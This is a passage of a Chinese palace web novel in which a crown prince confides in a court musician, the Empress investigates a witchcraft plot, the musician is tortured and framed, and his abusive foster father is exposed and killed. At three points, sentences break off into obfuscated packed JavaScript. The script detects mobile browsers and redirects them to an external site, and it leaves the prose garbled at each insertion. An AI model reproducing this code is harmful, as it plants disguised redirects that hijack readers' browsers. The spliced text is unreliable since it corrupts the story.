萧玠笑道:“大伙听着都觉得欢快,沈郎却说是哀曲?” 沈娑婆道:“曲律之事万人万意。”他微微一顿,还是说:“是臣自以为是。” 萧玠说:“人如风后入江云,情似雨馀黏地絮。你说得很对。”* 他笑道:“我今年十六岁,就在宫里过了十六年。宫中不只是宫女内官,就算是我,最拿手的本事也是扮笑脸。陛下是我的父亲,我笑起来连他都能糊弄过去。” 说着,萧玠转头看沈娑婆,“沈郎,你叫我有些害怕了。” 沈娑婆道:“殿下有心事。” “其实算不得心事,甚至讲起来,还是件很矫情事。”萧玠说,“我总觉得很难快乐。” 萧玠说:“平日听了好的曲子,吃到好吃的糕点,陛下身体好转,都会让我高兴。但高兴那么一下,也就过去了。我不快乐,但也不难过,照旧能够好好活着。我只是觉得,这些情绪很累,我连变动情绪的力气都没有。但你瞧得出来,我是个很容易被情绪影响的人。” 萧玠抬眼看梨花,阳光穿过树枝,照在他脸上,闪烁一层金色绒毛。他静静道:“高兴,是会落空的。不高兴,未尝比高兴难过。” 沈娑婆沉默片刻,道:“那臣请殿下,不要把情绪寄托在外物之上。” 他从一旁石头上坐下,手指重新在琵琶上舞动。萧玠缓缓从对面坐下,闭目聆听。一时间,融融的春光和乐声一同将他包裹,像丝绸,像蜜糖,像温泉,像所有温暖软和之物。 沈娑婆手指一划,按住弦音,“请问殿下,您听到了什么?” 萧玠仍没有睁开眼睛,轻轻道:“我听到……春天。” 他眉头轻皱,继续道:“天很蓝,很高,很远。太阳底下,东宫的屋角像描了金边。比屋角要高的是一只风筝,翅膀一边大一边小,不是买的,是人手扎的,扎得很用心。风筝被牵在一个人手里,是个孩子的手,被一只大人的手包着。我听到曳线时风筝的纸面振动的声音。我听到他在叫我……他也在笑。在院子里,我听到马蹄驻步,我松开了那根风筝线……我听到我春天的童年。” 随着他的描述,沈娑婆再次拨弦,很缓很柔,像那只放风筝的手。萧玠深深呼吸一会,抱过自己的琵琶,追着他的乐声拨弦。 音乐的世界里,那只风筝越飞越远,五彩斑斓地冲上白云,在云间放大所有细节,让人得以看清那写着“天下第一”的飞白书法。它从半空中打着旋,终于坠落尘世时,轻轻栖在黑马鞍鞯上,像只蝴蝶。 音乐逐渐盛大,阳光团簇绽开,萧玠看清握着自己放风筝的手,它现在牵起另一只手,那只手戴着扳指,手面遮着半截大红箭袖。 萧玠看着那两个人的两只手缓缓摩挲,十指相扣。 乐声淅淅沥沥,太阳淅淅沥沥,金点子般的光辉雨一样下起来。是风吹动梨花梨叶、吹响梨树枯皮的声音。 徐徐收束的尾声里,萧玠再忍不住,身体伏在琵琶上,风筝般颤抖起来。 沈娑婆静默片刻,还是放下琵琶,轻轻抚摸他的后背,道:“殿下,音乐可以让我们通达一切想要通达之处,哪怕是过去,哪怕是梦境。你全部的心绪,归根到底,都要回归到自己身上。或许有一天,父母会离开你,妻儿会怨怼你,朋友也会背叛你,但音乐不会。你自己不会。” *** 我与萧玠并无深情厚谊,更有君臣之分,于情于理,他都不该同我讲这些。但我明白,正因交浅,所以言深。 这些话,萧玠不能同任何人讲,不管是他的父亲、老师、挚友,甚至是身旁的近侍阿子。讲给他们,无济于事,徒增他们的烦恼而已。可如果再不讲出来,他承受不住这样复杂沉重的情绪,很可能会导致他重陷童年的噩梦。 萧玠必须自救,他自救的第一步就是诉说。而我,正是最完美的倾听者。 因为无关于己,所以不会受到他的影响,一起牵连进情绪的泥潭。同时,我和他在音乐的部分有所共鸣,而音乐是情感的美学,这说明在情感上,我也可以和他有所相通。 我不是唯一能够帮助他的人,更不会是舍身相救他的人。但我是最适合拉起他的那只手。 他要的就是不能舍身相救。 不多时,萧玠从琵琶板上抬起脸,冲我笑了笑,说:“叫沈郎见笑。” 我摇首,见他要起,便伸手相扶,手掌刚触到他臂弯,便听远处传来一阵忙乱。 我随萧玠一齐转头,见一支龙武卫冲入东宫,分为两列,将所有人包围入殿。紧接着,我瞧见诸多女官列队而入,手捧水瓶、香炉、香盒、骨朵诸物,最前头,曲柄、直柄的两把黄伞如同羽翼,在微风中淅淅有声。在那宫装贵妇人由众人簇拥下步出之时,东宫大门轰然关闭。 这时,我听见龙武卫将军尉迟松高声喝道:“有人实施巫蛊,意图谋害殿下。奉皇后殿下懿旨,闭户审问,不得出入!” *** 皇后驾到之后,我便由龙武卫所驱,与教坊众人一齐在阁中听候命令。 皇后步入阁子时,萧玠已经安坐。皇后走上前,探手摸了摸他的侧脸,道:“阿子,给殿下端盏热汤。现在快到了殿下吃药的时辰,叫人把药炉端过来,就在这边煎。” 萧玠躬身道:“惊动殿下,是臣的罪过。” 他将主位让出去,自己坐在一旁的太师椅里。皇后便携他的手,叫他同自己往上坐了。 这是我第一次面见皇后。 皇后杨氏今年二十有七,已算不得年轻,皇帝立她为后出乎许多人的意料。可不得不说,杨皇后的脸上,依旧保有少女青春的美丽。她身材娇小,杏眼灵动,倘若笑起来,怕仍能见几分烂漫情致。但杨皇后严妆大服,不苟言笑,又见成熟,极有气势。她携萧玠坐在身边,不像母亲,更像姐姐。 无论世族子弟还是宫人乐者,俱押入堂中。郑缚仗着是皇后外甥,已头一个叫起来:“娘娘,难不成要咱们跟奴婢们一块审问么?” 杨皇后道:“你的意思呢?” 郑缚一个瑟缩,不再说话。 虞闻道也开口:“臣等受陛下所邀,为东宫座上宾客。如今案情未定,将臣子比如阶下之囚任意羁押,是否不妥?” 杨皇后笑道:“本宫知道虞郎锦衣玉食,没有受过委屈。但你要晓得,太子是储君,更是陛下的独子。事关社稷安危,孰轻孰重,心中要有判断。今日别说是你们,就是你们的父兄在此,本宫闭户审问,他们也不敢二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我同众人一块看去,见一个少年立起。我起初只知道他叫王圣椿,骤然想起,他似乎是那位涉案王云竹的堂侄。既如此,我便推导出王圣椿的父亲究竟何人。 王云竹案发时,我曾听教坊的老人掰扯过王家故事。王氏一族枝繁叶茂,从他们的家学渊源算,王云竹不足挂齿。其父一支不过旁系,真论王氏的顶头,现在正是他的堂兄、王氏长房王云楠。王云楠供职国子监祭酒,统管各官学。除了从前的青门和从前的杨崇,要论门下弟子,便以王云楠为首。 当时妙娘叫道,那岂不是将天下学生把持在手了? 忆奴同她嘀咕,天下学生倒不至于,但能做官的贵族学生都算他的学生……哦,这样算,的确是“天下学生”。 妙娘皱皱眉头,啊呀,陛下不是最忌惮这些大家同气连枝的吗,怎么放任他们至此,也不管管? 忆奴笑道,你当是陛下不想管? 妙娘问,陛下这样厉害,难道还管不了吗? 忆奴同她掰指头,小声说,你瞧瞧朝堂上,郑、崔、杨、许,王、虞、夏……加上从前的汤,人家这八大家从开国起就扎着脚跟,陛下再厉害,如今也不过三十多年的圣寿,哪里能同这千百八年的岁数比较?百足之虫,死而不僵!陛下能将汤氏拔掉、几个家族削弱至此,已经是天大的手腕了。 我的思绪悠悠荡荡,陡然,被杨皇后的诘问惊回来。杨皇后看向他年纪稍小的外甥,冷声道:“郑缚,你自己讲。” 郑缚不过十岁,想来未见过如此阵仗,通红的脸蛋吓得掉色,支吾道:“臣……臣同殿下置气,躲园子里喂鹤去了。想着殿下没瞧见,会叫人来找。” “就你一个人?”杨皇后问。 “就我一个人。”郑缚扁扁嘴说。 “你以下犯上的事,我往后再说。”杨皇后道,“现在,你是举不出人证或者物证了。” 郑缚还要争辩,“可是我怎么可能害殿下呀!大哥是殿下的侍读,我害殿下,不就是把大哥往火坑里推吗!” 杨皇后不理他,看向尉迟松,“既没有证据,便由将军做主问讯。” 我心中一惊,看杨皇后的意思,竟要将郑缚交给龙武卫审问。虽龙武卫看她的面子,也不会对郑缚做什么举动,但此例一出,只怕这一堂的人难以善了。 看郑缚的神情,只怕少见这位小姨处置人,连哀求都忘了,叫龙武卫带领去了侧间。既如此,再要问郑绥,奇的是,郑绥一上来竟也是默然。 万事开头难,杨皇后也没料到先难在自家里,蛾眉微拧,正要开口,却被一道声音打断。 堂中,那位崔娘子已然出列,欠身道:“郑郎同妾在一处。” 30. 第 30 章 崔娘子话音一落,郑绥竟先去察看萧玠脸色,萧玠却只垂首坐在皇后身侧,头一回不回地。 我想起萧玠收到的那封信件,心里有了猜测。 那位王郎哂笑道:“谁不知崔娘子同郑郎已有婚约,你们夫妇同心,如何作数?” 郑绥扫眼看他时,萧玠突然开口:“若本宫作证呢?” 所有人都看向他。 萧玠却不去碰任何人的目光,只瞧被皇后握着的手,道:“我有些薄醉,自己去园中逛时,瞧见郑郎同崔娘子在一处。” 王圣椿道:“郑郎是殿下的亲信,殿下自然要偏帮。” 萧玠终于转头看他,“郑郎是我的亲信,更是皇后殿下的外甥,与我亲戚一体,害我又有何益?再则,厌胜之人要害的是我,王郎,被害之人哪有偏帮凶手说话的道理?” 他对皇后道:“我去的巧,见二位叙话,不便惊扰。要走时瞧见崔娘子赠予郑郎一枚香囊,殿下不信,要他出示就是。应当收在他袖子里。” 杨皇后叫道:“阿绥。” 我看向郑绥,见他脸上血色已褪。这并不像清白得证之态,反而像被当场揭穿。 他形容矛盾地,从袖中取出一枚香囊。 这一刻,没有人如释重负。他抬头望向萧玠,萧玠冲他淡淡笑了,说:“并非故意偷听,还望见谅。” 郑绥动了动嘴唇,讲不出一个字。 如此逐一盘问完已是日沉西山,诅咒之人依旧毫无踪迹。皇后便再次发令,将众人分别押解下去,由龙武卫逐一搜身。 如此一来,还不如直接交给龙武卫审问,反叫宫闱妇人指点,平白耽误功夫。 但皇后并不像这么平庸无能之人。 我怀揣疑惑,跟随众人鱼贯而出。走到门槛前,我回头看去,一殿夕阳,如一池火光。皇后牵住萧玠的手戴一枚戒指,宝石光射在他颊边,落下蓝疤,如同泪痕。 前方龙武卫已经呼喝,拖拉什么,还不快走? 我抬步跨出殿门。 *** 直到翌日天明,龙武卫才传来消息,谋害之人有了消息。 萧玠从榻上合衣坐起,有些不可置信,“你说谁?” 阿子将一只托盘端上前,上面是一包银针,并一条汗巾。 尉迟松请他过目,抱拳道:“此二物是从教坊沈娑婆身上搜得。据臣调查,此类厌胜需取人偶,写明生辰八字,刺银针,置床下。再取殿下的头发指甲埋于宫室东处,若不能,可以由贴身衣物替代。臣问过阿子,这是殿下的汗巾。” 萧玠看向那条汗巾,眼前画面呼啸闪过。 芙蓉汤池,人影交织。 屏风后探出一只手,放下一套干净衣物。 他携衣而入,又匆忙换衣而出…… 这是他那日所系的汗巾。 皇后见他神情,抬手抚摩他后背,蹙眉问:“他如何招供?” 尉迟松道:“他说是为人嫁祸,但这二物是龙武卫从他身上搜出来的,做不得假。且沈娑婆入宫以来,未曾更换衣衫,更不可能是凶手安置之后栽赃给他。再说,殿下贴身的东西……” 他没有说下去。 萧玠眼看那条汗巾,捏紧袍角,问:“沈娑婆,在哪里?” *** 萧玠由人引去一旁阁子时,正听见有人冷笑,似乎仍在审讯:“一个男人,贴身带着银针,还有殿下的东西——你说你不是诅咒,难道殿下同你暗通款曲吗?” 萧玠迈进门去,见沈娑婆被两个龙武卫押在地上,面前一盆清水,一刀黄纸,另摊开一卷萧玠辨认不全的刑具。沈娑婆一双手被擒住,竹拶子套在他手指上,他十根手指全然紫红。他脸上刚被泼了水,冷水正顺头发滚落,那副竹拶收紧时他浑身哆嗦起来。 萧玠喝道:“在东宫滥用私刑,你们的脑袋不想要了?” 龙武卫见他来连忙收手,沈娑婆也烂泥般瘫到地上。主刑的校尉上前抱拳道:“请殿下恕罪。陛下的旨意,若得凶犯,可以刑讯。” 萧玠迅速将那副竹拶从沈娑婆手上取下来,见他十指已然红肿,人倒在地上,只用眼睛静静看着他。 萧玠心中一颤,扭头道:“只这么两件东西,便算作确凿的罪证,龙武卫就是这样办案的?” 校尉面有难色,“殿下,卑职等也不想动手,可这厮闭口不言,卑职全无办法啊!” 萧玠平复气息,道:“你们先下去。既怀疑沈娑婆是凶犯,那就去教坊查他的底细,他为什么害我,总要有个根由。” 校尉领命:“卑职请将军来陪着殿下。” “不必。”萧玠道,“我问他几句话。” 众人虽不放心,但到底君臣有分,不敢违拗萧玠,且沈娑婆受了刑,也对萧玠造不成什么威胁。 人退去,门关上,萧玠便要扶沈娑婆起来,道:“我瞧瞧你的伤,先上药。” 沈娑婆打了个战,倒吸口冷气,萧玠立即不敢动他,也半跪在地上,虚虚扶着他半个身子。好久,沈娑婆才开口:“殿下不审问臣?” 萧玠喃喃道:“你不可能害我,也不可能爱我……你到底为什么?” 片刻后,他听见沈娑婆问:“为什么,不可能?” 萧玠心里咚地一跳,连带身体都是。沈娑婆喘了口气,冲他笑了笑:“玩笑话,殿下莫怕。” 萧玠手握在他肩膀上,隔着衣料,掌心却开始发烫。他年纪还小,从前不晓得是怎么回事,一共那么两次,都叫这人撞了正着。 他喉间有些紧,半天,才问道:“我那条汗巾……” 为什么会在你这里? 他没听见沈娑婆的答复,再低头,沈娑婆歪在他臂间,已然昏迷。 自从遇到自己,他一直在受这些无妄之灾。 萧玠不敢动他,要喊人将他抬起来,正顺着沈娑婆手臂,看到冷冷阳光下他的一双手。那双为他弹琵琶的手,如今已然鲜血淋漓。 萧玠将他轻轻放在地上,推门出去时,阿子已在门外等候,见他出来忙迎上来,道:“尉迟将军已领命去查沈娑婆的家底了,娘娘怕殿下出事,叫您问完话会阁中去。” 阿子一时没听他答复,萧玠正喃喃自语:“他到底是什么人……什么人要嫁祸他?” 阿子问:“殿下觉得……不是沈郎做的?” 萧玠面色已沉静下来,“从这一年相交来看,沈郎并非相信鬼神之人。我没有真正防备过他,他若要对我下手,直接用毒岂不便宜,为什么要拿这些虚无缥缈的东西?” 阿子想不明白,“只是他自己也交待了,入宫后不曾更衣,也无人近身,旁人就算想嫁祸给他,也没这个间隙呀。” “不是入宫后……如果是入宫之前呢?”萧玠声音一紧,“他现在自己住在北边,不再同其他人住一块。请尉迟将军去查,这两日都有什么人进过他的屋子。待他醒了,再叫他好好想想,有没有人在进宫前动过他的衣裳。” 阿子应一声,仍小声咕哝道:“可奴婢瞧沈郎……像是有所隐瞒。” 萧玠看他,他便道:“殿下,如果真是冤枉,他为何闭口不言,见了殿下也不喊冤?奴婢一贯瞧好沈郎,只是今日这事,要么不冤,要么……” 萧玠问:“要么什么?” 阿子觑他神色,“要么……他问心有愧。” 萧玠脚步一顿。 阿子忙打自己一个嘴巴,忙道:“殿下恕罪,奴婢只是瞧沈郎素日待殿下太好了。芙蓉池那一次,他便拼了前程性命地为殿下遮拦,在行宫殿下但凡需要,他无有不应,且奴婢瞧殿下同他很说得来……奴婢说句万死的话,殿下的汗巾,若真不是人嫁祸,便是……” 萧玠将他袖子抓得生皱,半晌,才道:“阿子,这些事不该是你讲的。” 阿子连忙告罪,但看萧玠脸色,又不像动怒的神气,正拿摸不准,萧玠已问:“郑郎那边怎么样?” “郑郎没什么嫌疑,但也不好单独放他出来,正同诸位世家子在一处呢。” “陛下还没有过来吗?” 阿子道:“听娘娘的意思,前朝还有事,陛下处理完就到。” 萧玠点点头,“皇后殿下劳碌了一天,叫庖厨准备准备,一会请殿下用早膳。” 阿子发觉,萧玠从不称皇后“娘娘”,只称“殿下”。 萧玠刚要抬步,身形又是一顿,低声道:“请个太医,来帮他瞧瞧伤吧。” *** 在龙武卫回行宫复旨前,皇后一直留在东宫陪伴萧玠。至此,世家子弟已在宫中押了两日一夜。萧玠坐在皇后身边,听她吩咐宫人:“但凡他们的父母来问,只说殿下与众位郎君娘子相投,留他们在宫中深谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566373|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。其他的事,但凡泄露半个字,我要你们所有人的舌头。” 阿子连忙应是,又道:“只是这样的旨意,世家恐怕不会信。” 皇后淡淡笑道:“按我的话去做就是。” 一会便到了萧玠吃药的时辰,皇后一壁照顾他,一壁询问审问情况,一壁派人严守宫禁,行事有条不紊,整个东宫不见一丝错漏。她端了蜜煎给萧玠,萧玠摇手,只取清水漱口,皇后便问:“枇杷膏还有?没有叫阿绥得了闲,再送进来。” 萧玠掩口吐掉清水,笑道:“殿下又说笑,他好歹是个将军,哪里有这么多的空闲?只怕押他这两日,也耽误他不少功夫。” 正说话,尉迟松已前来复旨,躬身道:“回禀二位殿下,沈娑婆进宫前,管排箫的香官曾去找过他。” 皇后问:“香官可曾入宫?” “是,同教坊众人关押在一处。” 皇后颔首,“将军经验老道,想必知道如何安排,我要问另一件事。沈娑婆的底细,将军查得怎么样?” 尉迟松道:“沈娑婆无父无母,是教坊判官何仙丘收养的一名弃婴,自幼跟随何仙丘学艺,因而青出于蓝,一手北琵琶极其出众。何仙丘对他颇为赏识,还找给他一把烧槽。” 皇后问:“弃婴——他是什么时候到的行宫,当时有多大?” “似乎是奉皇初年,何仙丘入职教坊不久,便从宫外抱回个襁褓。这件事有违宫规,想必何仙丘也遮掩过,不然行宫上下早该知晓。” 皇后点头,见萧玠神色凝重,问道:“有什么不妥?” 萧玠回过神,“这么听来,何仙丘对他既有养育之恩,又有栽培之情,可他们两人的关系似乎并不好。” 一开始芙蓉池案里,何仙丘不仅不加辩护,反而主张严惩沈娑婆,甚至直接动了杖板。再瞧沈娑婆,和萧玠往来一年里从没讲到他和何仙丘的这层关系,看上去也十分冷淡。 他们中间发生了什么事?而他们的关系,会不会和这场厌胜有关? 尉迟松道:“臣正要回禀。据行宫中人讲,何仙丘脾气古怪,好的时候掏心掏肺,坏的时候便对他动辄打骂。沈娑婆小时候常常挨打,便躲到园子里,任谁也找不到,直到半夜才敢回去。甚至有一回……众人是从池里捞起的他。那天何仙丘赶到,竟抱着他痛哭一场。” 萧玠追问:“之后呢?” 尉迟松道:“之后到底有所缓和,但……” 三尺厚的冰,顶多融到二尺九。 皇后察觉萧玠浑身一抖,当即见他脸色一变,吩咐尉迟松去审问香官。殿门又闭,阁中只剩萧玠轻轻喘气声。 皇后轻声问:“殿下?” 萧玠脸色发白,哑声笑道:“芙蓉汤池事,只怕皇后殿下也有所耳闻。” 皇后轻轻点头,听萧玠道:“那条汗巾……是我当日穿戴的。当时教坊搜池子,只找到了光明钱,却没找到汗巾,我便以为自己没有系它,是记岔了。” 皇后问:“殿下的意思是……当日沈郎也在?” “是,他在,他还替我顶了罪。”萧玠声音很低,“所以见了这条汗巾,我一开始只以为是他拿走了。” 芙蓉汤池时,沈娑婆应当不认得萧玠。如果汗巾真是他拿的,那这件事要么是蓄谋已久的陷害,要么,是酝酿多日的丑闻。 皇后道:“殿下是发现了旁的可能吗?” 萧玠点头,“芙蓉汤池那件事后,我让阿子派人禁封池子,应当是何仙丘接办的。” 他也去过那里。 皇后,唤过自己贴身女官:“知会尉迟将军,这件事或许同何仙丘有关。看看用何仙丘的名头,能不能从香官嘴里撬出东西。” 这样一去,殿中彻底安静下来。皇后握了握萧玠的手,只觉他双手发冷。 不过半个时辰,尉迟松便再次叩门而入,手臂沾了些污渍,身上带着淡淡血腥气。他道:“香官招了。” 萧玠急声问:“怎么样?” 尉迟松点了点头。 杨观音微微吸气,问:“何仙丘人在哪里?” 尉迟松道:“他本没有入宫,臣已派人将他押解进来,如今正在偏殿。” 杨观音整肃面容,很有一股母仪的风范。萧玠由杨皇后携住手,自己也站起来,听她缓声道:“好,现在可以叫他们当堂对峙了。” 31. 第 31 章 何仙丘由人领去东宫偏殿,他倒不慌张,甚至还有功夫四下打量。从磨得光滑的帘钩到窗上的雕花,他的眼光又掠过窗户,飘到外头新绽的梨花上。 门外脚步声响起,何仙丘连忙垂首避到一旁,再抬头,眼前便是尚未铺地的宫装裙摆,花纹一层团簇一层。这会皇后已携了太子坐下,声音听不出喜怒:“何仙丘,本宫相信在来的路上,尉迟将军已经告诉你出了什么事。” 何仙丘忙道:“臣罪该万死,教坊中竟出了如此逆贼,是臣管教无方。” “只是管教无方?”皇后问道,“何判官,听你的意思,香官诅咒殿下之事,你毫不知情?” 何仙丘头压得更低,“臣实在不知。” 皇后也不作色,徐徐开口:“只是本宫奇怪,香官不过一个排箫员,压根没见过殿下几面。你告诉我,他和殿下能有什么深仇大恨,竟要置其于死地?” 何仙丘哑然,“臣……的确无从得知。” 皇后似乎早有预料,冲侍立在侧的龙武卫道:“好,尉迟将军,请香官来讲讲,究竟是怎么一回事。” 尉迟松一挥手臂,香官便被两名龙武卫架进殿里。他衣衫破烂,浑身是血,露出的肌肤没有一块好肉,神色十分萎靡。香官被放在地上,瞧见皇后的眼光,又看到一旁的何仙丘,眼神有些躲闪。他开口时,何仙丘发觉他的声带已经受损。 他道:“是……是何判官要奴婢寻机将人偶藏在殿下床下,以此诅咒,并做好两手准备,如若事败,便……嫁祸沈娑婆。” 何仙丘脑中一响,当即喝道:“香官,你讲话要凭良心,欺瞒殿下,这是掉脑袋的大罪!” 香官不敢瞧他,咳了两声,道:“奴婢胆小,当时怕事情暴露掉脑袋,抵死不肯。是何判官给了奴婢那条汗巾……说要是有万一,也找不到奴婢身上,奴婢这才猪油蒙了心,替他……干下这样罪大恶极的勾当……” 何仙丘胸膛剧烈起伏,扑通跪在地上,叩首道:“娘娘,此贼谋逆犯上、诅咒殿下,见事情败露,便栽到臣身上。臣自始至终毫不知情,臣冤枉!” 皇后开口,却不是问他,“沈娑婆,你有什么话?” 不知什么时候,沈娑婆已经被人带了进来。他力气尚未恢复,挓挲着双手跪倒,“娘娘明察秋毫。” 看见沈娑婆的一瞬间,何仙丘的脸色肉眼可见地发生变化。他的表情没变,变的是神态,一模一样的表情由正常人和疯子做来完全不同。他一双眼眯了又睁,一动不动盯了他许久,突然咧嘴笑了:“是我看轻了你小子。果然,果然,果然是毒蛇的种子,我敞开胸膛抱了这么久,叫你反咬一口!” 沈娑婆静静瞧了他一会,俯身向他叩了个头。 他手指伤得厉害,只能用手背撑在地面,低声道:“你认罪吧。” 何仙丘从来行事与常人无异,但今日见了沈娑婆,居然有些癫狂之态。他浑然不顾皇后太子在前,自己从地上爬起来,扶着膝盖睨沈娑婆,眼在笑,射出的却是冷箭。 他哈哈笑道:“我认罪——怎么,这么想我死。不怕我万一有口气,以后要怎么照顾你,不怕我当众扒了你这身皮?” 沈娑婆浑身一僵,迅速昂首看他。面对何仙丘红涨的笑脸,他面皮惨白,像具十七年的尸首。 萧玠离得他不远,瞧见他身体微微发抖,这是极度恐惧带来的身体反应。他不敢想十数年来,沈娑婆在他手底下过的是什么日子。 他深吸一口气,起身将沈娑婆扶起来,看向何仙丘:“何判官,本宫与你无冤无仇,也不相信这是你一个人能策划的事。你背后到底是什么人,你若直言,我同皇后殿下可以对你网开一面。” 何仙丘看向他。 他的那点痴狂神态敛去,又变回正常人模样。萧玠以为他平静下来,正要再问,突然听有人疾呼一声“小心”,尚未回神,已经被沈娑婆大力推开。 一切发生在电光石火之间,皇后厉声叫龙武卫护驾保卫时,萧玠看见沈娑婆仰面倒地,五指紧紧按在腹部。 他腹上插着一柄极短极锋利的四棱刺,是何仙丘带扣上的装饰。鲜血从他指缝间汩汩涌出,顷刻就在衣袖间积了一小片深红。 殿中一片混乱,龙武卫冲上前时何仙丘已经爬起来。沈娑婆不知哪里生出的力气,拔出那枚短刺,大叫一声扑上前,将利刃插进何仙丘的左胸。 何仙丘圆睁双眼向后栽倒时,沈娑婆一个踉跄瘫软在地上。 一个龙武卫快步上前,探了探何仙丘的脖颈,冲皇后摇了摇头。 皇后叹口气,看向沈娑婆。沈娑婆被萧玠抱在怀里,眼睛盯着何仙丘溅血的脸,笑了笑,冲萧玠蠕动了下嘴唇,一个字没出口,已笑着、哆哆嗦嗦地泪流满面。 *** 阁中血污虽被清理,腥气却依旧可闻。按说厌胜之事已告一段落,可皇后依旧没有放众郎娘归家的意思。 萧玠将沈娑婆安置在自己那边,请太医看过无碍后过来,正走到帘子后,便听女官桑娘向皇后回禀:“娘娘,世家又来请旨,连温国公都问了几句,说既然有了了结,各位郎君何时才能家去?” 皇后瞧她一眼,“你同温国公嚼了舌头。” 她眼神淡淡的,神情也是,桑娘连忙跪倒地上,“娘娘恕罪,妾想着国公是国丈,又一把年纪,不想叫他忧心……” 皇后反倒在意料之中,“温国公能打听到消息,想必其他相公都有门路,知道东宫出了什么事。” 她似含笑意,道:“起来吧,传我的话,孩子们和殿下玩得愉快,请诸公诸夫人放心就是。如此三催四请,难道本宫和陛下会亏待了这些儿女不成?告诉他们,到了时候,自会回去。眼瞧太阳要沉了,传膳房,给众位备饭。” 桑娘领命下去时,尉迟松正来复旨。皇后问了几句何仙丘的事,又问:“陛下那边有没有消息?” 尉迟松道:“尚未有旨意。” 皇后颔首,“将军辛苦,请转告陛下,东宫一切都好,别叫他分心。” 尉迟松领命退下的脚步声远去,皇后才松了一口气,一只手肘撑在案边揉了揉头穴,正要揭盏茶吃,一双手已新捧了盖钟来,道:“那茶已经冷了。殿下头一回来这边坐,尝尝这个。” 皇后揭开盖钟,闻见一股热腾腾的辛香。 萧玠道:“这是南秦的瓜李水,加了秦地的八味香料,最能祛寒。我想殿下什么茶水都吃过,便煎了些这个,殿下尝个新鲜。” 皇后接过盖钟来饮,萧玠便隔案从她对面坐下,不走也不讲话,似乎在等待什么。 杨观音心中清楚,他和自己在等同一件事。 直至夕阳尽敛,东宫外头才再次传来响动。萧玠抬头,见是秋童披着夜色进来。 皇后比萧玠站起来的更快,秋童一只脚刚跨进门槛,皇后已赶忙问道:“前朝一切顺利?” 秋童满脸堆笑,冲她一躬,道:“众位郎君娘子可以归家了。” 皇后长舒一口气,又问:“陛下还好?” 秋童笑道:“都好,娘娘安心。” 萧玠坐在一边,似乎没人看见他,他静静瞧了一会,才叫一声:“秋翁。” 他看着秋童的眼睛,问:“东宫厌胜的事情,陛下是不是知道?” 秋童笑一下子僵在脸上。 皇后正欲说话,萧玠已转头看她,道:“殿下不知道我,我是个多思多虑的,如今瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566374|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了端倪,不弄清楚我不会罢休。殿下不同我讲,我当面问陛下就是。” 皇后叹口气气,终于道:“对殿下的厌胜诅咒,今天并不是第一例。” “南地的郑先生提点过,殿下的病情恐怕有蹊跷。陛下下令严查,在东宫院子里找到了埋了头发和画符的盒子。厌胜之术有三步,第二步是取头发指甲附上符箓,第三步便是制作偶人,放置床下。” 萧玠道:“陛下不是相信鬼神之说的人。” 皇后道:“陛下的确不信,但这至少证明的确有人要谋害殿下。有二就有三,他们见殿下痊愈,定然会再次动手。陛下为了引蛇出洞,便下旨在东宫摆这一次宴席,人多眼杂,正给那人动手的时机。” 萧玠虽有猜测,到底有些心惊,“所以殿下,你们一早就发现了香官。” 皇后点点头。 萧玠的眼珠渐渐转回去,眼皮也垂下来,半晌,他摇摇头,“我不明白,陛下为什么不将他当场捉拿,反而在他埋下东西后才开始清算?又为什么不直接提审香官,却把所有人一并扣押,像压根不知道谁才是案犯?” 他语气有些倔强,“这跟前朝之事有关,是不是?” 皇后说:“是。” 黄参连忙叫道:“娘娘!” 皇后沉声道:“殿下不仅是陛下的儿子,更是大梁的储君,以后担的是江山社稷,看的是黎民百姓。秋内官,你和陛下都把他当玻璃人磕不得碰不得,到底是爱他还是害他,有没有想过?” 秋童一时语塞,只是叹气。皇后平复气息,温声对萧玠道:“殿下应当注意到,今日席间有王氏的子弟。” “是,官银贪贿案中那位王云竹的侄子,名叫王圣椿。” “王圣椿的父亲王云楠,相信殿下有所耳闻。” “国子监祭酒,掌管各类官学。”萧玠应道。 “王云竹的案子移交到我兄长手上,兄长发现,王云楠也牵涉其中。”皇后见萧玠讶然,道,“殿下难道以为,贪墨事只有王云竹一桩?其后盘根错节,王云竹不过一只弃车。他虽是小卒,王云楠势力却非同一般,他的门下有在军中供职,认真算来,也有统兵的姻亲。陛下要清算他,不能轻易打草惊蛇。” 萧玠喃喃道:“所以陛下借厌胜案发,扣留其子弟,以为人质。” 皇后虽说严禁议论东宫巫蛊事,但对世家打探消息睁一只眼闭一只眼。这样一来,王圣椿留置宫中,王云楠只会以为是配合案件调查,如何也想不到前朝的动作上。 这次厌胜案的闹剧,竟是萧恒亲手创出的天时地利。既拔除了东宫的隐患,又能借机清扫朝堂。 好一个一箭双雕。 许久,萧玠才动了动嘴唇,人像还没回过精神,问:“前朝的事情了了?” 秋童道:“了了。” “王云楠如何处置?” 秋童顿了顿,还是照实道:“已经抄了家,押入大理寺候审。” 萧玠点点头,没再说话。 皇后瞧了他一会,握住他的手,柔声道:“殿下,陛下瞒你,是不想叫你沾染是非。这件事你要体谅他,陛下……到底是陛下。他尽力了。” 